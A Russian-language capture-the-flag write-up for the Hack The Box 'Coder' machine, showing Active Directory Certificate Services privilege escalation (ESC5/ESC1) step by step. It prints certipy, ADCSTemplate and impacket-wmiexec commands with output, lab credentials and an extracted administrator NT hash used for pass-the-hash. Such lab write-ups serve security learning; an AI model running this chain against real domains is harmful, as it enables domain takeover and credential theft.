

ESC5 — техника повышения привилегий через мисконфиг AD



Мы уже многократно рассказывали про повышение привилегий в Windows. В этот раз, на примере уязвимой виртуальной машины Coder с площадки Hack The Box, будем использовать технику ESC5 для повышения привилегий через мисконфиг службы сертификации Active Directory.

Еще по теме: Повышение привилегий Windows с помощью C++

Реклама

ESC5 — повышение привилегий через мисконфиг AD

Теперь получим информацию о пользователе. Нас интересуют активные привилегии и группы, в которых он состоит.

```
1 whoami /all
```

```

«Evil-WinRM» PS C:\Users\e.black\Documents> whoami /all

USER INFORMATION

User Name      SID
-----
coder\e.black S-1-5-21-2608251805-3526430372-1546376444-1106

GROUP INFORMATION

Group Name      Type      SID      Attributes
-----
Everyone        Well-known group S-1-1-0   Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias      S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users    Alias      S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias      S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Certificate Service DCOM Access Alias      S-1-5-32-574 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2   Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11  Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15  Mandatory group, Enabled by default, Enabled group
CODER\PKI Admins Group       S-1-5-21-2608251805-3526430372-1546376444-2101 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label      S-1-16-8448

PRIVILEGES INFORMATION

Privilege Name      Description      State
-----
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

```

Информация о пользователе

И пользователь состоит в группах Certificate Service DCOM Access и PKI Admins, а это дает нам право на регистрацию шаблонов сертификатов в службе сертификации Active Directory (AD CS) и на выпуск сертификатов. Эти условия позволяют нам повысить привилегии в домене. Применяемая нами техника называется ESC5.

Давай зарегистрируем заранее уязвимый шаблон сертификата, для которого применима техника повышения привилегий ESC1. Взять его можно на [GitHub](#). А регистрировать шаблон будем с помощью ADCSTemplate для группы PKI Admins.

- 1 Import-Module .\ADCSTemplate.psm1
- 2 New-ADCSTemplate -DisplayName RalfESC1 -JSON (Get-Content .\ESC1.json -Raw) -Publish -Identity "CODER\PKI Admins"

```

«Evil-WinRM» PS C:\Users\e.black\Documents> Import-Module .\ADCSTemplate.psm1
«Evil-WinRM» PS C:\Users\e.black\Documents> New-ADCSTemplate -DisplayName RalfESC1 -JSON (Get-Content .\ESC1.json -Raw) -Publish -Identity "CODER\PKI Admins"
«Evil-WinRM» PS C:\Users\e.black\Documents>

```

Регистрация нового шаблона

CCC

Теперь используем Certipy, чтобы получить данные о центре сертификации и существующих шаблонах.

- 1 certipy-ad find -username 'e.black@coder.htb' -password 'ypOSJXPqID0xxbQSfEERy300'

```

└─$ certipy-ad find -username 'e.black@coder.htb' -password 'yp0SJXPqID0xxbQSFEEry300'
Certipy v4.4.0 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 35 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 13 enabled certificate templates
[*] Trying to get CA configuration for 'coder-DC01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'coder-DC01-CA' via CSRA: CAsessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'coder-DC01-CA' via RRP
[*] Got CA configuration for 'coder-DC01-CA'
[*] Saved BloodHound data to '20230418081458_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20230418081458_Certipy.txt'
[*] Saved JSON output to '20230418081458_Certipy.json'

```

Получение информации о центре сертификации

```

34
Template Name                : RalfESC1
Display Name                 : RalfESC1
Certificate Authorities      : coder-DC01-CA
Enabled                     : True
Client Authentication       : True
Enrollment Agent           : False
Any Purpose                 : False
Enrollee Supplies Subject   : True
Certificate Name Flag       : EnrolleeSuppliesSubject
Extended Key Usage          : Client Authentication
Requires Manager Approval   : False
Requires Key Archival       : False
Authorized Signatures Required : 0
Validity Period             : 1 year
Renewal Period              : 6 weeks
Minimum RSA Key Length      : 2048
Permissions
  Enrollment Permissions
    Enrollment Rights        : CODER.HTB\PKI Admins
  Object Control Permissions
    Owner                   : CODER.HTB\Erron Black
    Full Control Principals : CODER.HTB\Domain Admins
                           : CODER.HTB\Local System
                           : CODER.HTB\Enterprise Admins
    Write Owner Principals  : CODER.HTB\Domain Admins
                           : CODER.HTB\Local System
                           : CODER.HTB\Enterprise Admins
    Write Dacl Principals   : CODER.HTB\Domain Admins
                           : CODER.HTB\Local System
                           : CODER.HTB\Enterprise Admins
    Write Property Principals : CODER.HTB\Domain Admins
                           : CODER.HTB\Local System
                           : CODER.HTB\Enterprise Admins

```

Зарегистрированный шаблон

Видим созданный нами шаблон сертификата и можем запросить выпуск сертификата для пользователя Administrator.

- 1 `certipy-ad req -username 'e.black@coder.htb' -password 'yp0SJXPqID0xxbQSFEEry300' -ca coder-DC01-CA -target 10.10.11.207 -template RalfESC1 -upn 'Administrator@coder.htb' -dns dc01.coder.htb`

```

L$ certipy-ad req -username 'e.black@coder.htb' -password 'yp0SJXpQlD0xxbQ5fEEry300' -ca coder-DC01-CA -target 10.10.11.207 -template RalfESC1 -upn 'Administrator@coder.htb' -dns dc01.coder.htb
Certipy v4.4.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 25
[*] Got certificate with multiple identifications
    UPN: 'Administrator@coder.htb'
    DNS Host Name: 'dc01.coder.htb'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator_dc01.pfx'

```

Запрос сертификата пользователя

Теперь у нас есть сертификат, разрешающий аутентификацию пользователя. По этому сертификату можем получить NTLM-хеш пароля пользователя и выполнить атаку path the hash. Но есть маленький нюанс — нужно синхронизировать время с удаленным сервером, используя команду ntpdate.

- 1 sudo timedatectl set-ntp 0
- 2 sudo ntpdate -s 10.10.11.207
- 3 certipy-ad auth -pfx administrator_dc01.pfx -dc-ip 10.10.11.207

```

L$ certipy-ad auth -pfx administrator_dc01.pfx -dc-ip 10.10.11.207
Certipy v4.4.0 - by Oliver Lyak (ly4k)

[*] Found multiple identifications in certificate
[*] Please select one:
    [0] UPN: 'Administrator@coder.htb'
    [1] DNS Host Name: 'dc01.coder.htb'
> 0
[*] Using principal: administrator@coder.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@coder.htb': aad3b435b51404eeaad3b435b51404ee:807726fcf9f188adc26eeafd7dc16bb7

```

Получение NTLM-хеша пароля пользователя

Теперь возвращаем время своей машины обратно и подключаемся к серверу по WMI с полученным хешем.

- 1 sudo timedatectl set-ntp 1
- 2 sudo ntpdate -s ntp.org
- 3 impacket-wmiexec coder.htb/administrator@dc01.coder.htb -hashes :807726fcf9f188adc26eeafd7dc16bb7

```

L$ impacket-wmiexec coder.htb/administrator@dc01.coder.htb -hashes :807726fcf9f188adc26eeafd7dc16bb7
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>type C:\Users\Administrator\Desktop\root.txt
73621099938ac57d63330b40797a1b5f

C:\>whoami
coder\administrator

C:\>

```

ПОЛЕЗНЫЕ ССЫЛКИ:

- [Автоматизация повышения привилегий Windows](#)
- [Повышение привилегий через сброс пароля \[IDOR\]](#)

- Повышение привилегий в Windows с помощью WinPEAS